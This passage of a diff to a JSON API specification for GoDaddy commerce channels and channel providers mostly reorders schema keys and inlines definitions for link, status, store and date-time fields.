"Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -8245,237 +8558,233 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] - } + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, "required": [ "name" - ] + ], + "title": "Basic Channel", + "type": "object" } - ] + ], + "description": "Resource representing the Marketplace Channel", + "title": "Marketplace Channel", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/social-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Social Channel", - "type": "object", - "description": "Resource representing the Social Channel", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalChannelId": { - "type": "string", "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "maxLength": 64, + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, + "properties": { "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -8483,963 +8792,334 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } - }, - "required": [ - "name" - ] - } - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" - }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" }, - "submissionSchema": { - "description": "The schema that describes the request data." - } + "type": "array" }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } - }, - "required": [ - "name" - ] - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "ONLINE": "./OnlineChannel.yaml", - "RETAIL": "./RetailChannel.yaml", - "MOBILE": "./MobileChannel.yaml", - "MARKETPLACE": "./MarketplaceChannel.yaml", - "SOCIAL": "./SocialChannel.yaml", - "DEFAULT": "./BasicChannel.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')" - } - }, - "required": [ - "type" - ] - } - }, - "404": { - "description": "Channel Not Found" - } - }, - "scopes": [ - "commerce.channel:read" - ] - }, - { - "operationId": "createChannelProvider", - "method": "POST", - "path": "/channel-providers", - "summary": "Create a new channel provider", - "requestBody": { - "required": false, - "contentType": "application/json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProvider", - "type": "object", - "description": "Resource representing the Channel Provider", - "properties": { - "channelProviderId": { - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "unique identifier", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel provider", - "maxLength": 128 - }, - "supportedChannelTypes": { - "type": "array", - "description": "Channel types supported by provider", - "items": { - "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelType", - "type": "string", - "description": "ChannelType", - "enum": [ - "RETAIL", - "ONLINE", - "MOBILE", - "MARKETPLACE", - "SOCIAL", - "DEFAULT" - ] - } - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProviderStatus", - "type": "string", - "enum": [ - "ACTIVE", - "SUSPENDED", - "TERMINATED" - ], - "description": "Channel Provider Status", - "default": "ACTIVE" - } - }, - "required": [ - "name" - ] - } - }, - "responses": { - "201": { - "description": "New resource created successfully", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProvider", - "type": "object", - "description": "Resource representing the Channel Provider", - "properties": { - "channelProviderId": { - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "unique identifier", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel provider", - "maxLength": 128 - }, - "supportedChannelTypes": { - "type": "array", - "description": "Channel types supported by provider", - "items": { - "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelType", - "type": "string", - "description": "ChannelType", - "enum": [ - "RETAIL", - "ONLINE", - "MOBILE", - "MARKETPLACE", - "SOCIAL", - "DEFAULT" - ] - } - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProviderStatus", - "type": "string", - "enum": [ - "ACTIVE", - "SUSPENDED", - "TERMINATED" - ], - "description": "Channel Provider Status", - "default": "ACTIVE" - } - }, - "required": [ - "name" - ] - } - } - }, - "scopes": [ - "commerce.channel-provider:create" - ] - }, - { - "operationId": "getChannelProviders", - "method": "GET", - "path": "/channel-providers", - "summary": "Get all channel providers", - "parameters": [ - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10, - "maximum": 100 - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1, - "maximum": 100 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Channel Providers", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider-list.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProviderList", - "type": "object", - "description": "Resource representing list of Channel Providers", - "properties": { - "items": { - "description": "Array containing the current page of Channel Providers", - "items": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProvider", - "type": "object", - "description": "Resource representing the Channel Provider", - "properties": { - "channelProviderId": { - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "unique identifier", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel provider", - "maxLength": 128 - }, - "supportedChannelTypes": { - "type": "array", - "description": "Channel types supported by provider", - "items": { - "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelType", - "type": "string", - "description": "ChannelType", + "default": "ACTIVE", + "description": "Channel Status", "enum": [ - "RETAIL", - "ONLINE", - "MOBILE", - "MARKETPLACE", - "SOCIAL", - "DEFAULT" - ] + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + 